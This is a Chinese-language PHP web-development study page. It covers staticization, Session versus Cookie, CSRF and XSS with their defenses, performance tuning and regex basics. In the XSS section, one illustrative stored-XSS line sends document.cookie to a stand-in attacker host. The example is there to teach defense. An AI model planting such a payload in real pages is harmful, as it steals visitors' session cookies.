Skip to content

1. 如何实现页面静态化

  • 优点:提高网站性能,减轻服务器压力,有助于SEO
  • 方案1:将动态页面内容保存为静态文件,然后访问静态页面,不适用于频繁变动的页面
php
<?php
ob_start(); // 开启缓冲区

// 在这里写入动态页面的php代码
echo "这是动态页面的内容";

$content = ob_get_clean(); // 获取缓冲区内容并清空缓冲区

$file = 'static_page.html'; // 静态文件名
file_put_contents($file, $content); // 将内容保存为静态文件
  • 方案2:使用服务器的重写来实现伪静态
  • 方案3:使用PHP框架的路由功能

2. Session和Cookie

区别SessionCookie
存储位置服务器客户端
数据安全安全性高明文存储在客户端,安全性低,易被XSS攻击获取,可以通过HttpOnly和HTTPS增强安全性
网络传输仅传输Session ID每次请求都携带Cookie数据
生命周期依赖服务器配置,php默认24分钟会话级Cookie关闭浏览器就失效,可以持久化,设置Expires
存储容量和服务器配置有关单个Cookie ≤4KB
跨域共享需要额外配置如分布式Session无法跨域
  • Session和Cookie的协作:Session依赖于Cookie传递Session ID,如果禁用了Cookie,可以在URL里传递Session

  • Cookie的适用场景:用户偏好设置(主题、语言)、跨页面数据传递(分页参数)

  • Session的适用场景:用户登录状态管理、安全敏感的数据(如用户ID,权限)

  • Cookie安全风险:XSS(通过注入恶意代码窃取Cookie),CSRF(利用浏览器自动携带Cookie特性伪造跨站请求)

3.CSRF攻击

跨站请求伪造,欺骗用户的浏览器去访问一个自己曾经认证过的网站并进行一些操作,利用了Web用户身份验证中的一个漏洞:简单的身份认证往往只能保证请求发自某个用户的浏览器,并不能保证请求本身是用户自愿发出的

防御措施:设置CSRF-TOKEN验证,还可以检查Referer字段,设置Cookie的SameSite属性为strict

比如我有一个常用的转账平台,登录后浏览器保存了我的登录Cookie,我还没退出账号,我打开了一个黑客的网站,黑客网站页面里有一个隐藏的表单,目标就是向转账平台发送一条转账请求。我一打开这个网站,浏览器就自动执行了这段代码,因为我之前登录转账平台的Cookie还在浏览器里,那么浏览器就带着这个Cookie一起发送给了转账平台,平台如果没有做CSRF防范,只认登录Cookie,就会认为这是我主动发起的转账请求,从而完成转账,我的资金就被转走了。

这就像是防盗门一样,只认钥匙,不认主人,我的钥匙被偷了,那么他就能拿着我的钥匙进我家盗窃。防盗门只认来的人有没有钥匙,不认来的人是不是我。

4.XSS攻击

跨站脚本攻击,在Web页面中插入一些恶意内容,往往是JS代码,也有HTML。往往会将Cookie或者其他隐私信息发送给攻击者

防御措施:前后端分离,对HTML转义,设置Cookie的时候开启HttpOnly(缓解)

  • 存储型,比如发布一篇文章里面有以下内容
js
<script>window.open("www.gongji.com?param="+document.cookie)</script>
  • 反射型 攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击链接的时候,注入脚本被传入到目标服务器上,然后服务器将注入脚本反射到受害者的浏览器上,浏览器执行该脚本
  • DOM型 通过修改原始的客户端代码,受害者浏览器的 DOM 环境改变,导致有效载荷的执行。也就是说,页面本身并没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面,并且意外执行。

5.高并发解决方案

前端:

  • 减少HTTP请求
  • 使用异步请求
  • 启用浏览器缓存和文件压缩
  • CDN加速

服务端:

  • 页面静态化
  • 队列处理

数据库

  • 使用缓存
  • 分表

服务器

  • 负载均衡

6.php处理图像

  • GD库:适合比较简单的图像处理,比如缩放、加水印这种
  • Imagick库:适合复杂一些的需求,比如格式转换、裁剪、滤镜、动画这种

7.php处理视频

依赖外部调用

  • PHP-FFmpeg库:时长、格式、分辨率、文字、水印、提取第一帧做封面
  • 视频处理往往是要异步,加个队列RabbitMQ,太大的视频得分片上传

8.服务器性能

  • 日常需要监控一下,简单的就用top监控就行,来看看到底是哪里有性能瓶颈。如果是硬件的瓶颈那只能是升级一下硬件,比如CPU这种。如果是能用配置来提升性能的,比如网络可以提升TCP连接数,减少TIME_WAIT状态连接回收时间,内存的话可以调整一下虚拟内存策略,避免频繁的内存交换。
  • 主要还是看一下是不是程序导致的性能问题,如果是程序性能不好,还是优先考虑提升程序的性能。
  • 数据库和Web服务优化:性能瓶颈主要还是数据库,对查询、索引,甚至是配置进行优化

9.数据库性能优化

查询优化:

  • 避免全表扫描,可以通过EXPLAN分析一下SQL执行计划,确保type不是all
  • 减少冗余查询,尽可能不要使用select *,只查询需要的字段
  • 尽量不要嵌套子查询,能用JOIN解决的就不要子查询
  • 尽量避免长事务,比如事务中就不要包含非数据库的操作

索引优化:

  • 简历合适的索引,优先考虑where、join、order by后的字段建索引
  • 避免无效的索引
  • 定期删除不使用的索引,sys.schema_unused_indexes

配置优化:

  • 配置my.cnf,配置一下缓存设置、最大连接数、空闲时间等等

存储优化

  • 分库分表,单表数据太大(超过1000万行),就分表
  • 读写分离,主库写,从库读

10.Web服务优化

  • 并发配置优化一下
  • 缓存优化:设置缓存头避免重复请求,开启Gzip压缩
  • 负载均衡
  • 设置缓存层,如redis

11.正则表达式

限定符

  • +,匹配前面的表达式一次或多次(1次、多次) runoo+b,,可以是runoob runooob runooooooooob
  • *,匹配前面的表达式零次或者多次(0次、1次、多次),runoo*b,如runob runoob runoooooob
  • ?,匹配前面的表达式零次或一次(0次、1次,),runoo?b,如runob runoob
  • {n},n非负整数,匹配确定的n次,如o{2}可以匹配food中的两个o
  • {n,},n非负整数,至少匹配n次,{0,}等价于*,{1,}等价于+,如o{1,}可以匹配Bob、food
  • {n,m},均为非负整数且n<=m,至少匹配n次最多匹配m次,{0,1}等价于?,如o{1,3}可以匹配Bob,fooood中的前三个o

一些元字符

  • [aeiou] 匹配[]中的所有字符
  • [^aeiou] 匹配除了[]中的所有字符
  • [A-Z] 表示匹配区间
  • . 表示匹配除了换行符之外的任何单个字符,等价[^\n\r]
  • [\s\S] 匹配所有,\s是匹配所有空白符包括换行,\S非空白符,不包括换行
  • \w 匹配字母数字下划线,等价于[A-Za-z0-9_]
  • \W 匹配非字母、数字、下划线,等价于[^A-Za-z0-9_]
  • \d 匹配一个数字字符
  • \D 匹配一个非数字字符
  • \b 匹配一个单词边界,如er\b可以匹配never中的er,不能匹配verb中的er
  • \B 匹配非单词边界,如er\B可以匹配verb中的er,不能匹配never中的er

定位符

  • ^,匹配输入字符串开始的位置
  • $,匹配舒服字符串结束的位置
  • \b 匹配一个单词边界,如er\b可以匹配never中的er,不能匹配verb中的er
  • \B 匹配非单词边界,如er\B可以匹配verb中的er,不能匹配never中的er

修饰符

  • /g 查找字符串中所有的匹配项
  • /i 不区分大小写

举例

  • 匹配一个正整数,[1-9]设置第一个数不能为0,[0-9]*表示任意个
/[1-9][0-9]*/
  • 设置0-99的两位数
/[0-9]{1,2}/
  • 设置1-99的正整数
/[1-9][0-9]{0,1}/

基本模式匹配

^once

匹配以once开头的字符串,如once upon a time,但与There once was a man from New York不匹配

bucket$

匹配以bucket结尾的字符串,如in a bucket,但与buckets不匹配

^bucket$

只匹配bucket字符串

bucket

与任何包含bucket的字符串匹配

[AaEeIiOoUu]

匹配元音字符,只匹配一个字符

[a-z] 匹配所有小写字母
[A-Z] 匹配所有大写字母
[a-zA-Z] 匹配所有字母
[0-9] 匹配所有数字
[0-9\.\-] 匹配所有数字、句号和减号

用连字号可以表示字符的范围,但也只能匹配一个字符

^[a-z][0-9]$

匹配一个由小写字母和一位数字组成的字符串

^[^0-9][0-9]$

要求第一个字符不是数字,第二个字符为数字的字符串

^[a-zA-Z0-9_]{1,}

所有包含一个以上的字母、数字或下划线的字符串